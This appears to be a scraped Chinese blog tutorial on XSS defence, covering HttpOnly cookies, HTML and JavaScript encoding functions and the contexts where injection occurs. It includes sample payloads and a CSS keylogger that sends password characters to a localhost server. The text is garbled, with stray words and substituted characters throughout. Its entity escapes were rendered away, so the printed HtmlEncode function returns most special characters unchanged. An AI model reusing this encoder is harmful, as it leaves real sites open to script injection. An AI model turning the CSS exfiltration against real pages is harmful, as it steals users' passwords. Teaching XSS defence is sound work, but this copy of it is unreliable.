XSS
的防護很複雜,並非一套防護機制就能就解決的問題,它須要具體業務具體實現。javascript
目前來講,流行的瀏覽器內都內置了一些 XSS 過濾器
,可是這隻能防護一部分常見的 XSS
,而對於網站來講,也應該一直尋求優秀的解決方案,保護網站及用戶的安全,我將闡述一下網站在設計上該如何避免 XSS
的攻擊。css
HttpOnly
HttpOnly
最先是由微軟提出,並在 IE 6
中實現的,至今已經逐漸成爲一個標準,各大瀏覽器都支持此標準。具體含義就是,若是某個 Cookie
帶有 HttpOnly
屬性,那麼這一條 Cookie
將被禁止讀取,也就是說,JavaScript
讀取不到此條 Cookie
,不過在與服務端交互的時候,Http Request
包中仍然會帶上這個 Cookie
信息,即咱們的正常交互不受影響。html
Cookie
是經過 http response header
種到瀏覽器的,咱們來看看設置 Cookie
的語法:java
Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]
第一個是 name=value
的鍵值對,而後是一些屬性,好比失效時間,做用的 domain
和 path
,最後還有兩個標誌位,能夠設置爲 secure
和 HttpOnly
。express
栗子:後端
// 利用 express 這個輪子設置cookie res.cookie('myCookie', 'test', { httpOnly: true }) res.cookie('myCookie2', 'test', { httpOnly: false })
而後回到瀏覽器查看:瀏覽器
這個時候咱們試着在控制檯輸出:安全
咱們發現,只有沒有設置 HttpOnly
的 myCookie2
輸出了出來,這樣一來, javascript
就讀取不到這個 Cookie
信息了。markdown
HttpOnly
的設置過程十分簡單,並且效果明顯,不過須要注意的是,全部須要設置 Cookie
的地方,都要給關鍵的 Cookie
都加上 HttpOnly
,如有遺漏則會功虧一簣。cookie
可是, HttpOnly
不是萬能的,添加了 HttpOnly
不等於解決了 XSS
問題。
嚴格的說,HttpOnly
並不是爲了對抗 XSS
,HttpOnly
解決的是 XSS
後的 Cookie
劫持問題,可是 XSS
攻擊帶來的不只僅是 Cookie
劫持問題,還有竊取用戶信息,模擬身份登陸,操做用戶帳戶等一系列行爲。
使用 HttpOnly
有助於緩解 XSS
攻擊,可是仍然須要其餘可以解決 XSS
漏洞的方案。
記住一點:不要相信任何輸入的內容。
不管是否是作了安全校驗,都必須進行過濾操做,並且須要後臺配合過濾,若是後端的檢查校驗還作得很差,那就可能被攻破。
輸入檢查在更多的時候被用於格式檢驗,例如用戶名只能以字母和數字組合,手機號碼只能有 11 位且所有爲數字,不然即爲非法。
這些格式檢查相似於白名單效果,限制輸入容許的字符,讓一下特殊字符的攻擊失效。
目前網上有不少開源的 XSS Filter
,這些 XSS Filter
目前來講仍是有些效果的,能只能檢驗輸入內容,高級一點的還會匹配 XSS
特徵,例如內容是否包含了 <script>
,javascript
等敏感字符,可是這些 XSS Filter
只是獲取到了用戶的輸入內容,並不瞭解其上下文含義,不少時候會誤過濾。
例如:
用戶輸入暱稱:<|無敵是多麼雞毛|>
,對於 XSS Filter
來講,<>
就是特殊字符,須要過濾而後過濾成爲 |無敵是多麼雞毛|
,直接改變了用戶的暱稱。
因此,咱們不能徹底信賴開源的 XSS Filter
,不少場景須要咱們本身配置規則,進行過濾。
不要覺得在輸入的時候進行過濾就萬事大吉了,惡意攻擊者們可能會層層繞過防護機制進行 XSS
攻擊,通常來講,全部須要輸出到 HTML
頁面的變量,所有須要使用編碼或者轉義來防護。
HTMLEncode
針對 HTML
代碼的編碼方式是 HTMLEncode
,它的做用是將字符串轉換成 HTMLEntities
。
目前來講,爲了對抗 XSS
,如下轉義內容是必不可少的:
特殊字符 | 實體編碼 |
---|---|
& | & ; |
< | < ; |
> | > ; |
" | " ; |
' | ' ; |
/ | / ; |
PS. ;
是必須的,並且要和前面的字符鏈接起來,我這邊分開是由於,markdown
就是 HTML
語言,我連上就直接轉義成前面的特殊字符了,/(ㄒoㄒ)/~~
來看看效果:
能夠看到,這些編碼在 HTML
上已經成功轉成了對應的符號。
固然,上面的只是最基本並且是最必要的,HTMLEncode
還有不少不少,我這邊列舉了一些(請容許我用代碼的形式寫出來,這樣就不會轉義了):
const HtmlEncode = (str) => { // 設置 16 進制編碼,方便拼接 const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']; // 賦值須要轉換的HTML const preescape = str; let escaped = ""; for (let i = 0; i < preescape.length; i++) { // 獲取每一個位置上的字符 let p = preescape.charAt(i); // 從新編碼組裝 escaped = escaped + escapeCharx(p); } return escaped; // HTMLEncode 主要函數 // original 爲每次循環出來的字符 function escapeCharx(original) { // 默認查到這個字符編碼 let found = true; // charCodeAt 獲取 16 進制字符編碼 const thechar = original.charCodeAt(0); switch (thechar) { case 10: return "<br/>"; break; // 新的一行 case 32: return " "; break; // space case 34: return """; break; // " case 38: return "&"; break; // & case 39: return "'"; break; // ' case 47: return "/"; break; // / case 60: return "<"; break; // < case 62: return ">"; break; // > case 198: return "Æ"; break; // Æ case 193: return "Á"; break; // Á case 194: return "Â"; break; // Â case 192: return "À"; break; // À case 197: return "Å"; break; // Å case 195: return "Ã"; break; // Ã case 196: return "Ä"; break; // Ä case 199: return "Ç"; break; // Ç case 208: return "Ð"; break; // Ð case 201: return "É"; break; // É case 202: return "Ê"; break; case 200: return "È"; break; case 203: return "Ë"; break; case 205: return "Í"; break; case 206: return "Î"; break; case 204: return "Ì"; break; case 207: return "Ï"; break; case 209: return "Ñ"; break; case 211: return "Ó"; break; case 212: return "Ô"; break; case 210: return "Ò"; break; case 216: return "Ø"; break; case 213: return "Õ"; break; case 214: return "Ö"; break; case 222: return "Þ"; break; case 218: return "Ú"; break; case 219: return "Û"; break; case 217: return "Ù"; break; case 220: return "Ü"; break; case 221: return "Ý"; break; case 225: return "á"; break; case 226: return "â"; break; case 230: return "æ"; break; case 224: return "à"; break; case 229: return "å"; break; case 227: return "ã"; break; case 228: return "ä"; break; case 231: return "ç"; break; case 233: return "é"; break; case 234: return "ê"; break; case 232: return "è"; break; case 240: return "ð"; break; case 235: return "ë"; break; case 237: return "í"; break; case 238: return "î"; break; case 236: return "ì"; break; case 239: return "ï"; break; case 241: return "ñ"; break; case 243: return "ó"; break; case 244: return "ô"; break; case 242: return "ò"; break; case 248: return "ø"; break; case 245: return "õ"; break; case 246: return "ö"; break; case 223: return "ß"; break; case 254: return "þ"; break; case 250: return "ú"; break; case 251: return "û"; break; case 249: return "ù"; break; case 252: return "ü"; break; case 253: return "ý"; break; case 255: return "ÿ"; break; case 162: return "¢"; break; case '\r': break; default: found = false; break; } if (!found) { // 若是和上面內容不匹配且字符編碼大於127的話,用unicode(很是嚴格模式) if (thechar > 127) { let c = thechar; let a4 = c % 16; c = Math.floor(c / 16); let a3 = c % 16; c = Math.floor(c / 16); let a2 = c % 16; c = Math.floor(c / 16); let a1 = c % 16; return "&#x" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ";"; } else { return original; } } } }
emmmm……做者比較懶,剩下的註釋本身補充,這應該是比較全的 HTMLEncode
編碼轉換了,你們能夠直接拿去用(能夠給個贊不~),來讓咱們測試一下:
<div id="id"></div>
// 當咱們輸入: document.querySelector('#id').innerHTML = '<img onerror=alert(1) src=1/>'
頁面不可避免的發生了 XSS
注入:
// 當咱們利用 HTMLEncode 以後 document.querySelector('#id').innerHTML = HtmlEncode('<img onerror=alert(1) src=1/>') console.log(HtmlEncode('<img onerror=alert(1) src=1/>'))
發現頁面將輸入的內容徹底呈現了:
JavaScriptEncode
JavaScriptEncode
與 HTMLEncode
的編碼方式不一樣,它須要用 \
對特殊字符進行轉義。
在對抗 XSS
時,還要求輸出的變量必須在引號內部,以避免形成安全問題,但是不少開發者並無這種習慣,這樣只能使用更爲嚴格的 JavaScriptEncode
來保證數據安全:除了數字,字符以外的全部字符,小於127的字符編碼都使用十六進制 \xHH
的方式進行編碼,大於用unicode(很是嚴格模式)。
一樣是代碼的方式展示出來:
//使用「\」對特殊字符進行轉義,除數字字母以外,小於127使用16進制「\xHH」的方式進行編碼,大於用unicode(很是嚴格模式)。 // 大部分代碼和上面同樣,我就不寫註釋了 const JavaScriptEncode = function (str) { const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']; const preescape = str; let escaped = ""; for (let i = 0; i < preescape.length; i++) { escaped = escaped + encodeCharx(preescape.charAt(i)); } return escaped; // 小於127轉換成十六進制 function changeTo16Hex(charCode) { return "\\x" + charCode.charCodeAt(0).toString(16); } function encodeCharx(original) { let found = true; const thecharchar = original.charAt(0); const thechar = original.charCodeAt(0); switch (thecharchar) { case '\n': return "\\n"; break; //newline case '\r': return "\\r"; break; //Carriage return case '\'': return "\\'"; break; case '"': return "\\\""; break; case '\&': return "\\&"; break; case '\\': return "\\\\"; break; case '\t': return "\\t"; break; case '\b': return "\\b"; break; case '\f': return "\\f"; break; case '/': return "\\x2F"; break; case '<': return "\\x3C"; break; case '>': return "\\x3E"; break; default: found = false; break; } if (!found) { if (thechar > 47 && thechar < 58) { //數字 return original; } if (thechar > 64 && thechar < 91) { //大寫字母 return original; } if (thechar > 96 && thechar < 123) { //小寫字母 return original; } if (thechar > 127) { //大於127用unicode let c = thechar; let a4 = c % 16; c = Math.floor(c / 16); let a3 = c % 16; c = Math.floor(c / 16); let a2 = c % 16; c = Math.floor(c / 16); let a1 = c % 16; return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ""; } else { return changeTo16Hex(original); } } } }
除了 HTMLEncode
和 JavaScript
外,還有許多用於各類狀況的編碼函數,好比 XMLEncode
、JSONEncode
等。
編碼函數須要在適當的狀況下用適當的函數,須要注意的是,編碼以後數據長度發生改變,若是文件對數據長度有所限制的話,可能會影響到某些功能。咱們在使用編碼函數時,必定要注意這個細節,以避免產生沒必要要的 bug
。
XSS
上面說了兩種轉義只是爲了設計我的能更好的 XSS
防護方案,可是咱們須要認清 XSS
產生的本質緣由。
XSS
的本質仍是一種 HTML 注入
,用戶的數據被當成了 HTML
代碼一部分來執行,從而混淆了本來的語意,產生了新的語意。
若是網站使用了 MVC(MVVM)
結構,那麼 XSS
就會發生在 View
層,也就是變量拼接到頁面時產生的,因此在用戶提交數據的時候進行輸入檢查,並非真正在被攻擊的地方作防護,而是預防攻擊,下面,我將總結一些 XSS
發生的場景,再一一解決。
HTML
標籤中輸出在 HTML
標籤中直接輸出變量,沒有作任何處理,會致使 XSS
。
<a href=# ><img src=1 onerror=alert(1)></a>
這種方式的解決方案是,全部須要輸出到頁面的元素所有經過 HTMLEncode
。
HTML
屬性中輸出在和 HTML
標籤中輸出攻擊方式相似,只不過輸出的內容會自動閉合標籤。
<a href="我是變量" ></a> <!-- 我是變量: "><img src=1 onerror=alert(1)><" --> <!-- 插入以後變爲 --> <a href=""><img src=1 onerror=alert(1)><""></a>
這種方式的防護方法仍然是 HTMLEncode
。
<script>
標籤中輸出假設咱們的變量都在引號內部:
let a = "我是變量" // 我是變量 = ";alert(1);// a = "";alert(1);//"
攻擊者只須要閉合標籤就能實行攻擊,目前的防護方法爲 JavaScriptEncode
。
CSS
中輸出在 CSS
中或者 style
標籤或者 style attribute
中造成的攻擊花樣很是多,整體上相似於下面幾個例子:
<style>@import url('http:xxxxx')</style> <style>@import 'http:xxxxx'</style> <style>li {list-style-image: url('xxxxxx')}</style> <style>body {binding:url('xxxxxxxxxx')}</style> <div style='background-image: url(xxxx)'></div> <div style='width: expression(xxxxx)'></div>
要解決 CSS
的攻擊問題,一方面要嚴格控制用戶將變量輸入style
標籤內,另外一方面不要引用未知的 CSS
文件,若是必定有用戶改變 CSS
變量這種需求的話,可使用 OWASP ESAPI
中的 encodeForCSS()
函數。
一個很典型的第三方 CSS
庫攻擊的案例:
input[type="password"][value$="0"]{ background-image: url("http://localhost:3000/0") } input[type="password"][value$="1"]{ background-image: url("http://localhost:3000/1") } input[type="password"][value$="2"]{ background-image: url("http://localhost:3000/2") } input[type="password"][value$="3"]{ background-image: url("http://localhost:3000/3") } input[type="password"][value$="4"]{ background-image: url("http://localhost:3000/4") } input[type="password"][value$="5"]{ background-image: url("http://localhost:3000/5") } input[type="password"][value$="6"]{ background-image: url("http://localhost:3000/6") } input[type="password"][value$="7"]{ background-image: url("http://localhost:3000/7") } input[type="password"][value$="8"]{ background-image: url("http://localhost:3000/8") } input[type="password"][value$="9"]{ background-image: url("http://localhost:3000/9") } ...
剩下的就不寫了,就是將全部鍵盤能輸入的字符都寫進去。
input[type="password"]
是css選擇器,做用是選擇密碼輸入框,[value$="0"]
表示匹配輸入的值是以 0 結尾的。
因此若是你在密碼框中輸入 0 ,就去請求 http://localhost:3000/0
接口,可是瀏覽器默認狀況下是不會將用戶輸入的值存儲在 value
屬性中,可是有的框架會同步這些值,例如React
。
咱們模擬同步 value
值:
<body> <input type="password" value="" id="pwd"> </body> <script> const pwd = document.querySelector('#pwd'); pwd.oninput = (e) => { pwd.attributes.value.value = e.target.value } </script>
而後咱們看看效果:
看!你的密碼都被髮送到遠程了,因此輸 CSS
也是 XSS
攻擊的手段之一,只有想不到,沒有作不到~
URL
中輸出在地址張輸出也比較複雜。通常來講 URL
的 path
或者 search
中進行攻擊直接使用 URLEncode
便可。URLEncode
會將字符串轉換爲 %HH
的形式,相似空格就是 %20
。
可能的攻擊方法就是:
<!-- 原始 URL --> <a href="http://localhost:3000/?test=我是變量"></a> <!-- 攻擊 URL --> <a href="http://localhost:3000/?test=" onclick=alert(1)""></a> <!-- URLEncode --> <a href="http://localhost:3000/?test=%22%20onclick%3balert%281%29%22"></a>
可是是否用了 URLEncode
就萬事大吉了呢?
不不不
若是整個 URL
被用戶控制,那麼前面的 http://
, localhost:3000
等部分被轉義不就亂套了,這些部分是不能被轉義的。
一個 URL
的組成以下:
[Protocal][Host][Path][Search][Hash]
栗子:
http://localhost:3000/a/b/c?search=123#666aaa
[Protocal]
對應 http://
[Host]
對應 localhost:3000
[Path]
對應 /a/b/c
[Search]
對應 ?search=123
[Hash]
對應 #666aaa
通常來講,若是變量是整個 URL
,則應該先檢查變量是否以 http
開頭,在此以後再對裏面的變量進行 URLEncode
。
在一些網站,網站容許用戶富含 HTML
標籤的代碼,好比文本里面要有圖片、視頻之類,這些文本展示出來全都是依靠 HTML
代碼來實現。
那麼,咱們須要如何區分安全的 富文本
和 XSS
攻擊呢?
我正好在華爲作過相關的富文本過濾操做,基本的思想就是:
HTML
代碼,而不是有拼接的代碼htmlParser
解析出 HTML
代碼的標籤、屬性、事件富文本
的 事件
確定要被禁止,由於富文本
並不須要 事件
這種東西,另一些危險的標籤也須要禁止,例如: <iframe>
,<script>
,<base>
,<form>
等<a>
,<img>
,div
等,白名單不只僅適用於標籤,也適用於屬性
CSS
,檢查是否有危險代碼理論上來講,XSS
漏洞雖然複雜,可是倒是能夠完全解決掉的,在設計 XSS
解決方案時,要結合目前的業務需求,從業務風險角度定義每一個 XSS
漏洞,針對不一樣的場景使用不一樣的方法,同時,不少開源的項目能夠借鑑參考,完善本身的 XSS
解決方案。